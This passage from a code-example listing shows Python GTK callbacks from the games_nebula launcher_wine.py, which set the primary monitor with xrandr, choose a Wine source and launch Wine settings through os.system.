            os.system('xrandr --output '+ output + ' --primary')
        elif switch == 'OFF':
            output = self.monitor_primary.split()[0]
            os.system('xrandr --output '+ output + ' --primary') 
Example 49
Project: games_nebula   Author: yancharkin   File: launcher_wine.py    (license) View Source Project 5 votes vote down vote up
def cb_rbuttons(self, button):
        if button.get_name() == 'global':
            self.rbutton_path.set_label(_("From directory"))
            self.filechooser_button.set_visible(False)
            self.combobox_version.set_visible(False)
            self.wine = 'global'
        elif button.get_name() == 'system':
            self.rbutton_path.set_label(_("From directory"))
            self.filechooser_button.set_visible(False)
            self.combobox_version.set_visible(False)
            self.wine = 'system'
        else:
            self.rbutton_path.set_label(_("From directory:"))
            self.filechooser_button.set_visible(True)
            self.combobox_version.set_visible(True)
            self.wine = 'path'
        self.win64_available() 
Example 50
Project: games_nebula   Author: yancharkin   File: launcher_wine.py    (license) View Source Project 5 votes vote down vote up
def cb_button_wine_settings(self, button):

        self.main_window.hide()

        while Gtk.events_pending():
            Gtk.main_iteration()

        self.set_wineprefix()
        self.create_link()

        self.set_environ()
        self.set_win_ver_command()
        self.set_additions_command()

        launch_command = 'python2 ' + nebula_dir + '/settings_wine.py'

        full_command = self.win_ver_command + '\n' + \
        self.additions_command + '\n' + \
        launch_command

        os.system(full_command)

        self.main_window.show()